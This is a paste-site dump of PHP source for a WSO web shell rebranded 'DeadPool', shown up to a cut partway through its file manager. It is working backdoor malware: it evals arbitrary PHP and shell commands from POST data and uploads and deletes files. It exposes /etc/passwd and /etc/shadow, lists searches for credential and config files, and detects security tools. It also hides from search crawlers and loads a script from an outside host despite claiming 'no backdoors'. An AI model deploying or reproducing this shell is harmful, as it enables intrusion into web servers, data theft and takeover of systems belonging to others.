· 10 years ago · Aug 02, 2016, 07:24 AM
1<?php
2
3
4
5
6/**
7
8
9WSO SHELL - ADDED LOGIN FORM - NO BACKDOORS
10
11
12**/
13
14
15
16
17
18
19$password = "rony"; // Change your password from here.
20##########################################################################
21?>
22<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
23<html>
24<head>
25<title>DeadPool v 1.0</title>
26<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
27<style type="text/css">
28<!--
29P { FONT-SIZE: 10pt; COLOR: Red; FONT-FAMILY: Verdana, Tahoma, Arial}
30TD { FONT-SIZE: 10pt; COLOR: Red; FONT-FAMILY: Verdana, Tahoma, Arial}
31-->
32</style>
33</head>
34<body>
35<?php
36 @session_start();
37
38 print "<p></p>";
39// If password is valid let the user get access
40
41/**if(isset($_GET["logout"]) && $_GET["logout"]="true"){
42 @session_destroy();
43} **/
44if ( (isset($_POST["password"]) && ($_POST["password"]=="$password")) || ( isset($_SESSION["password"]) && $_SESSION["password"]==$password))
45
46{
47 if(isset($_POST["password"]) && $_POST["password"]==$password ){
48 $_SESSION["password"]=$_POST["password"];
49 }
50?>
51<!-- START OF HIDDEN HTML - PLACE YOUR CONTENT HERE -->
52
53
54
55<SCRIPT SRC=http://w0rms.com/sayac.js></SCRIPT>
56
57<?php
58
59error_reporting(0);
60
61$color = "lime";
62$default_action = 'FilesMan';
63$default_use_ajax = true;
64$default_charset = 'Windows-1251';
65
66if(!empty($_SERVER['HTTP_USER_AGENT'])) {
67 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
68 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
69 header('HTTP/1.0 404 Not Found');
70 exit;
71 }
72}
73
74@ini_set('error_log',NULL);
75@ini_set('log_errors',0);
76@ini_set('max_execution_time',0);
77@set_time_limit(0);
78@define('WSO_VERSION', '2.5.1');
79
80if(get_magic_quotes_gpc()) {
81 function WSOstripslashes($array) {
82 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
83 }
84 $_POST = WSOstripslashes($_POST);
85 $_COOKIE = WSOstripslashes($_COOKIE);
86}
87
88function wsoLogin() {
89 die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
90}
91
92function WSOsetcookie($k, $v) {
93 $_COOKIE[$k] = $v;
94 setcookie($k, $v);
95}
96
97if(!empty($auth_pass)) {
98 if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
99 WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
100
101 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
102 wsoLogin();
103}
104
105if(strtolower(substr(PHP_OS,0,3)) == "win")
106 $os = 'win';
107else
108 $os = 'nix';
109
110$safe_mode = @ini_get('safe_mode');
111if(!$safe_mode)
112 error_reporting(0);
113
114$disable_functions = @ini_get('disable_functions');
115$home_cwd = @getcwd();
116if(isset($_POST['c']))
117 @chdir($_POST['c']);
118$cwd = @getcwd();
119if($os == 'win') {
120 $home_cwd = str_replace("\\", "/", $home_cwd);
121 $cwd = str_replace("\\", "/", $cwd);
122}
123if($cwd[strlen($cwd)-1] != '/')
124 $cwd .= '/';
125
126if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
127 $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
128
129if($os == 'win')
130 $aliases = array(
131 "List Directory" => "dir",
132 "Find index.php in current dir" => "dir /s /w /b index.php",
133 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
134 "Show active connections" => "netstat -an",
135 "Show running services" => "net start",
136 "User accounts" => "net user",
137 "Show computers" => "net view",
138 "ARP Table" => "arp -a",
139 "IP Configuration" => "ipconfig /all"
140 );
141else
142 $aliases = array(
143 "List dir" => "ls -lha",
144 "list file attributes on a Linux second extended file system" => "lsattr -va",
145 "show opened ports" => "netstat -an | grep -i listen",
146 "process status" => "ps aux",
147 "Find" => "",
148 "find suid" => "find / -type f -perm -04000 -ls",
149 "find suid in current dir" => "find . -type f -perm -04000 -ls",
150 "find sgid" => "find / -type f -perm -02000 -ls",
151 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
152 "find config.inc.php" => "find / -type f -name config.inc.php",
153 "find config*" => "find / -type f -name \"config*\"",
154 "find config* in current dir" => "find . -type f -name \"config*\"",
155 "find writable folders and files" => "find / -perm -2 -ls",
156 "find writable folders and files in current dir" => "find . -perm -2 -ls",
157 "find service.pwd" => "find / -type f -name service.pwd",
158 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
159 "find .htpasswd" => "find / -type f -name .htpasswd",
160 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
161 "find .bash_history" => "find / -type f -name .bash_history",
162 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
163 "find .fetchmailrc" => "find / -type f -name .fetchmailrc",
164 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
165 "Locate" => "",
166 "locate httpd.conf" => "locate httpd.conf",
167 "locate vhosts.conf" => "locate vhosts.conf",
168 "locate proftpd.conf" => "locate proftpd.conf",
169 "locate psybnc.conf" => "locate psybnc.conf",
170 "locate my.conf" => "locate my.conf",
171 "locate admin.php" =>"locate admin.php",
172 "locate cfg.php" => "locate cfg.php",
173 "locate conf.php" => "locate conf.php",
174 "locate config.dat" => "locate config.dat",
175 "locate config.php" => "locate config.php",
176 "locate config.inc" => "locate config.inc",
177 "locate config.inc.php" => "locate config.inc.php",
178 "locate config.default.php" => "locate config.default.php",
179 "locate config*" => "locate config",
180 "locate .conf"=>"locate '.conf'",
181 "locate .pwd" => "locate '.pwd'",
182 "locate .sql" => "locate '.sql'",
183 "locate .htpasswd" => "locate '.htpasswd'",
184 "locate .bash_history" => "locate '.bash_history'",
185 "locate .mysql_history" => "locate '.mysql_history'",
186 "locate .fetchmailrc" => "locate '.fetchmailrc'",
187 "locate backup" => "locate backup",
188 "locate dump" => "locate dump",
189 "locate priv" => "locate priv"
190 );
191
192function wsoHeader() {
193 if(empty($_POST['charset']))
194 $_POST['charset'] = $GLOBALS['default_charset'];
195 global $color;
196 echo "<html><head>
197
198<link href='https://fonts.googleapis.com/css?family=Raleway' rel='stylesheet' type='text/css'>
199<link href='https://fonts.googleapis.com/css?family=Iceland' rel='stylesheet' type='text/css'>
200<link href='https://fonts.googleapis.com/css?family=Titillium+Web' rel='stylesheet'>
201
202
203
204 <meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
205<style>
206body{
207 font-family:Titillium Web;
208 background-color:black;color:lime;
209}
210
211td,th{ font: 10pt Titillium Web,Iceland,Lucida,Verdana;margin:0;vertical-align:top;color:lime; }
212table.info{ color:#fff;background-color:#222; }
213span,h1,a{ color: $color !important; }
214span{ font-weight: bolder; }
215h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
216div.content{ padding: 5px;margin-left:5px;background-color:#333; }
217a{ text-decoration:none; }
218a:hover{ text-decoration:underline; font-size:15px;}
219.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
220.bigarea{ width:100%;height:300px; }
221
222
223
224
225input[type=\"text\"] {
226
227 padding:5px;
228 background:black;
229 color:lime;
230 border:1px solid;
231 outline:none;
232 font-family:Titillium Web;
233}
234
235select {
236
237
238 padding:5px;
239 background:black;
240 color:lime;
241 border:1px solid;
242 outline:none;
243
244
245
246}
247
248
249
250
251button {
252
253 padding:5px;
254 background:black;
255 color:lime;
256 border:1px solid;
257 outline:none;
258}
259
260input {
261
262 padding:5px;
263 background:black;
264 color:lime;
265 border:1px solid;
266 outline:none;
267 font-family:Titillium Web;
268}
269
270
271textarea {
272
273 padding:5px;
274 background:black;
275 color:lime;
276 border:1px solid;
277 outline:none;
278}
279
280
281input[type=\"text\"]:hover {
282 padding:5px;
283 background:#222;
284 color:lime;
285 border:1px solid;
286 outline:none;
287
288}
289
290input[type=\"submit\"] {
291
292 background:black;
293 color:lime;
294 border:1px solid;
295 padding:5px;
296 outline:none;
297}
298
299select{ margin:0;color:lime;background-color:black;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
300form{ margin:0px; }
301#toolsTbl{ text-align:center; }
302.toolsInp{ width: 300px }
303.main th{text-align:left;background-color:#5e5e5e;}
304.main tr:hover{background-color:black}
305.l1{background-color:#222}
306.l2{background-color:#221}
307pre{font-family:Courier,Monospace;}
308</style>
309<script>
310 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
311 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
312 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
313 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
314 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
315 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
316 var d = document;
317 function set(a,c,p1,p2,p3,charset) {
318 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
319 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
320 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
321 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
322 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
323 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
324 }
325 function g(a,c,p1,p2,p3,charset) {
326 set(a,c,p1,p2,p3,charset);
327 d.mf.submit();
328 }
329 function a(a,c,p1,p2,p3,charset) {
330 set(a,c,p1,p2,p3,charset);
331 var params = 'ajax=true';
332 for(i=0;i<d.mf.elements.length;i++)
333 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
334 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
335 }
336 function sr(url, params) {
337 if (window.XMLHttpRequest)
338 req = new XMLHttpRequest();
339 else if (window.ActiveXObject)
340 req = new ActiveXObject('Microsoft.XMLHTTP');
341 if (req) {
342 req.onreadystatechange = processReqChange;
343 req.open('POST', url, true);
344 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
345 req.send(params);
346 }
347 }
348 function processReqChange() {
349 if( (req.readyState == 4) )
350 if(req.status == 200) {
351 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
352 var arr=reg.exec(req.responseText);
353 eval(arr[2].substr(0, arr[1]));
354 } else alert('Request error!');
355 }
356</script>
357<head><body><div style='position:absolute;width:100%;background-color:black;top:0;left:0;'>
358<form method=post name=mf style='display:none;'>
359<input type=hidden name=a>
360<input type=hidden name=c>
361<input type=hidden name=p1>
362<input type=hidden name=p2>
363<input type=hidden name=p3>
364<input type=hidden name=charset>
365</form>";
366 $freeSpace = @diskfreespace($GLOBALS['cwd']);
367 $totalSpace = @disk_total_space($GLOBALS['cwd']);
368 $totalSpace = $totalSpace?$totalSpace:1;
369 $release = @php_uname('r');
370 $kernel = @php_uname('s');
371 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
372 if(strpos('Linux', $kernel) !== false)
373 $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
374 else
375 $explink .= urlencode($kernel . ' ' . substr($release,0,3));
376 if(!function_exists('posix_getegid')) {
377 $user = @get_current_user();
378 $uid = @getmyuid();
379 $gid = @getmygid();
380 $group = "?";
381 } else {
382 $uid = @posix_getpwuid(posix_geteuid());
383 $gid = @posix_getgrgid(posix_getegid());
384 $user = $uid['name'];
385 $uid = $uid['uid'];
386 $group = $gid['name'];
387 $gid = $gid['gid'];
388 }
389
390 $cwd_links = '';
391 $path = explode("/", $GLOBALS['cwd']);
392 $n=count($path);
393 for($i=0; $i<$n-1; $i++) {
394 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
395 for($j=0; $j<=$i; $j++)
396 $cwd_links .= $path[$j].'/';
397 $cwd_links .= "\")'>".$path[$i]."/</a>";
398 }
399
400 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
401 $opt_charsets = '';
402 foreach($charsets as $item)
403 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
404
405 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','SQL'=>'sql','PHP'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
406 if(!empty($GLOBALS['auth_pass']))
407 $m['Logout'] = 'Logout';
408 $m['Self remove'] = 'SelfRemove';
409 $menu = '';
410 foreach($m as $k => $v)
411 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
412
413 $drives = "";
414 if($GLOBALS['os'] == 'win') {
415 foreach(range('c','z') as $drive)
416 if(is_dir($drive.':\\'))
417 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
418 }
419 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
420 . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=Red><b>OFF</b></font>')
421 . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
422 . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
423 . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
424}
425
426function wsoFooter() {
427 $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
428 echo "
429</div>
430<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
431 <tr>
432 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'> <input type=submit value='>>'></form></td>
433 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f> <input type=submit value='>>'></form></td>
434 </tr><tr>
435 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d> <input type=submit value='>>'></form></td>
436 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f> <input type=submit value='>>'></form></td>
437 </tr><tr>
438 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''> <input type=submit value='>>'></form></td>
439 <td><form method='post' ENCTYPE='multipart/form-data'>
440 <input type=hidden name=a value='FilesMAn'>
441 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
442 <input type=hidden name=p1 value='uploadFile'>
443 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
444 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f> <input type=submit value='>>'></form><br ></td>
445 </tr></table></div></body></html>";
446}
447
448if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
449 function posix_getpwuid($p) {return false;} }
450if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
451 function posix_getgrgid($p) {return false;} }
452
453function wsoEx($in) {
454 $out = '';
455 if (function_exists('exec')) {
456 @exec($in,$out);
457 $out = @join("\n",$out);
458 } elseif (function_exists('passthru')) {
459 ob_start();
460 @passthru($in);
461 $out = ob_get_clean();
462 } elseif (function_exists('system')) {
463 ob_start();
464 @system($in);
465 $out = ob_get_clean();
466 } elseif (function_exists('shell_exec')) {
467 $out = shell_exec($in);
468 } elseif (is_resource($f = @popen($in,"r"))) {
469 $out = "";
470 while(!@feof($f))
471 $out .= fread($f,1024);
472 pclose($f);
473 }
474 return $out;
475}
476
477function wsoViewSize($s) {
478 if (is_int($s))
479 $s = sprintf("%u", $s);
480
481 if($s >= 1073741824)
482 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
483 elseif($s >= 1048576)
484 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
485 elseif($s >= 1024)
486 return sprintf('%1.2f', $s / 1024 ) . ' KB';
487 else
488 return $s . ' B';
489}
490
491function wsoPerms($p) {
492 if (($p & 0xC000) == 0xC000)$i = 's';
493 elseif (($p & 0xA000) == 0xA000)$i = 'l';
494 elseif (($p & 0x8000) == 0x8000)$i = '-';
495 elseif (($p & 0x6000) == 0x6000)$i = 'b';
496 elseif (($p & 0x4000) == 0x4000)$i = 'd';
497 elseif (($p & 0x2000) == 0x2000)$i = 'c';
498 elseif (($p & 0x1000) == 0x1000)$i = 'p';
499 else $i = 'u';
500 $i .= (($p & 0x0100) ? 'r' : '-');
501 $i .= (($p & 0x0080) ? 'w' : '-');
502 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
503 $i .= (($p & 0x0020) ? 'r' : '-');
504 $i .= (($p & 0x0010) ? 'w' : '-');
505 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
506 $i .= (($p & 0x0004) ? 'r' : '-');
507 $i .= (($p & 0x0002) ? 'w' : '-');
508 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
509 return $i;
510}
511
512function wsoPermsColor($f) {
513 if (!@is_readable($f))
514 return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
515 elseif (!@is_writable($f))
516 return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
517 else
518 return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
519}
520
521function wsoScandir($dir) {
522 if(function_exists("scandir")) {
523 return scandir($dir);
524 } else {
525 $dh = opendir($dir);
526 while (false !== ($filename = readdir($dh)))
527 $files[] = $filename;
528 return $files;
529 }
530}
531
532function wsoWhich($p) {
533 $path = wsoEx('which ' . $p);
534 if(!empty($path))
535 return $path;
536 return false;
537}
538
539function actionSecInfo() {
540 wsoHeader();
541 echo '<h1>Server security information</h1><div class=content>';
542 function wsoSecParam($n, $v) {
543 $v = trim($v);
544 if($v) {
545 echo '<span>' . $n . ': </span>';
546 if(strpos($v, "\n") === false)
547 echo $v . '<br>';
548 else
549 echo '<pre class=ml1>' . $v . '</pre>';
550 }
551 }
552
553 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
554 if(function_exists('apache_get_modules'))
555 wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
556 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
557 wsoSecParam('Open base dir', @ini_get('open_basedir'));
558 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
559 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
560 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
561 $temp=array();
562 if(function_exists('mysql_get_client_info'))
563 $temp[] = "MySql (".mysql_get_client_info().")";
564 if(function_exists('mssql_connect'))
565 $temp[] = "MSSQL";
566 if(function_exists('pg_connect'))
567 $temp[] = "PostgreSQL";
568 if(function_exists('oci_connect'))
569 $temp[] = "Oracle";
570 wsoSecParam('Supported databases', implode(', ', $temp));
571 echo '<br>';
572
573 if($GLOBALS['os'] == 'nix') {
574 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
575 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
576 wsoSecParam('OS version', @file_get_contents('/proc/version'));
577 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
578 if(!$GLOBALS['safe_mode']) {
579 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
580 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
581 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
582 echo '<br>';
583 $temp=array();
584 foreach ($userful as $item)
585 if(wsoWhich($item))
586 $temp[] = $item;
587 wsoSecParam('Userful', implode(', ',$temp));
588 $temp=array();
589 foreach ($danger as $item)
590 if(wsoWhich($item))
591 $temp[] = $item;
592 wsoSecParam('Danger', implode(', ',$temp));
593 $temp=array();
594 foreach ($downloaders as $item)
595 if(wsoWhich($item))
596 $temp[] = $item;
597 wsoSecParam('Downloaders', implode(', ',$temp));
598 echo '<br/>';
599 wsoSecParam('HDD space', wsoEx('df -h'));
600 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
601 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
602 if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
603 $temp = "";
604 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
605 $uid = @posix_getpwuid($_POST['p2']);
606 if ($uid)
607 $temp .= join(':',$uid)."\n";
608 }
609 echo '<br/>';
610 wsoSecParam('Users', $temp);
611 }
612 }
613 } else {
614 wsoSecParam('OS Version',wsoEx('ver'));
615 wsoSecParam('Account Settings',wsoEx('net accounts'));
616 wsoSecParam('User Accounts',wsoEx('net user'));
617 }
618 echo '</div>';
619 wsoFooter();
620}
621
622function actionPhp() {
623 if(isset($_POST['ajax'])) {
624 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
625 ob_start();
626 eval($_POST['p1']);
627 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
628 echo strlen($temp), "\n", $temp;
629 exit;
630 }
631 if(empty($_POST['ajax']) && !empty($_POST['p1']))
632 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
633
634 wsoHeader();
635 if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
636 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
637 ob_start();
638 phpinfo();
639 $tmp = ob_get_clean();
640 $tmp = preg_replace(array (
641 '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
642 '!td, th {(.*)}!msiU',
643 '!<img[^>]+>!msiU',
644 ), array (
645 '',
646 '.e, .v, .h, .h th {$1}',
647 ''
648 ), $tmp);
649 echo str_replace('<h1','<h2', $tmp) .'</div><br>';
650 }
651 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
652 echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
653 if(!empty($_POST['p1'])) {
654 ob_start();
655 eval($_POST['p1']);
656 echo htmlspecialchars(ob_get_clean());
657 }
658 echo '</pre></div>';
659 wsoFooter();
660}
661
662function actionFilesMan() {
663 if (!empty ($_COOKIE['f']))
664 $_COOKIE['f'] = @unserialize($_COOKIE['f']);
665
666 if(!empty($_POST['p1'])) {
667 switch($_POST['p1']) {
668 case 'uploadFile':
669 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
670 echo "Can't upload!";
671 break;
672 case 'mkdir':
673 if(!@mkdir($_POST['p2']))
674 echo "Can't create!";
675 break;
676 case 'delete':
677 function deleteDir($path) {
678 $path = (substr($path,-1)=='/') ? $path:$path.'/';
679 $dh = opendir($path);
680 while ( ($item = readdir($dh) ) !== false) {
681 $item = $path.$item;
682 if ( (basename($item) == "..") || (basename($item) == ".") )
683 continue;
684 $type = filetype($item);
685 if ($type == "dir")
686 deleteDir($item);
687 else
688 @unlink($item);
689 }
690 closedir($dh);
691 @rmdir($path);
692 }
693 if(is_array(@$_POST['f']))
694 foreach($_POST['f'] as $f) {
695 if($f == '..')
696 continue;
697 $f = urldecode($f);
698 if(is_dir($f))
699 deleteDir($f);
700 else
701 @unlink($f);
702 }
703 break;
704 case 'paste':
705 if($_COOKIE['act'] == 'copy') {
706 function copy_paste($c,$s,$d){
707 if(is_dir($c.$s)){
708 mkdir($d.$s);
709 $h = @opendir($c.$s);
710 while (($f = @readdir($h)) !== false)
711 if (($f != ".") and ($f != ".."))
712 copy_paste($c.$s.'/',$f, $d.$s.'/');
713 } elseif(is_file($c.$s))
714 @copy($c.$s, $d.$s);
715 }
716 foreach($_COOKIE['f'] as $f)
717 copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
718 } elseif($_COOKIE['act'] == 'move') {
719 function move_paste($c,$s,$d){
720 if(is_dir($c.$s)){
721 mkdir($d.$s);
722 $h = @opendir($c.$s);
723 while (($f = @readdir($h)) !== false)
724 if (($f != ".") and ($f != ".."))
725 copy_paste($c.$s.'/',$f, $d.$s.'/');
726 } elseif(@is_file($c.$s))
727 @copy($c.$s, $d.$s);
728 }
729 foreach($_COOKIE['f'] as $f)
730 @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
731 } elseif($_COOKIE['act'] == 'zip') {
732 if(class_exists('ZipArchive')) {
733 $zip = new ZipArchive();
734 if ($zip->open($_POST['p2'], 1)) {
735 chdir($_COOKIE['c']);
736 foreach($_COOKIE['f'] as $f) {
737 if($f == '..')
738 continue;
739 if(@is_file($_COOKIE['c'].$f))
740 $zip->addFile($_COOKIE['c'].$f, $f);
741 elseif(@is_dir($_COOKIE['c'].$f)) {
742 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
743 foreach ($iterator as $key=>$value) {
744 $zip->addFile(realpath($key), $key);
745 }
746 }
747 }
748 chdir($GLOBALS['cwd']);
749 $zip->close();
750 }
751 }
752 } elseif($_COOKIE['act'] == 'unzip') {
753 if(class_exists('ZipArchive')) {
754 $zip = new ZipArchive();
755 foreach($_COOKIE['f'] as $f) {
756 if($zip->open($_COOKIE['c'].$f)) {
757 $zip->extractTo($GLOBALS['cwd']);
758 $zip->close();
759 }
760 }
761 }
762 } elseif($_COOKIE['act'] == 'tar') {
763 chdir($_COOKIE['c']);
764 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
765 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
766 chdir($GLOBALS['cwd']);
767 }
768 unset($_COOKIE['f']);
769 setcookie('f', '', time() - 3600);
770 break;
771 default:
772 if(!empty($_POST['p1'])) {
773 WSOsetcookie('act', $_POST['p1']);
774 WSOsetcookie('f', serialize(@$_POST['f']));
775 WSOsetcookie('c', @$_POST['c']);
776 }
777 break;
778 }
779 }
780 wsoHeader();
781 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
782 $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
783 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
784 global $sort;
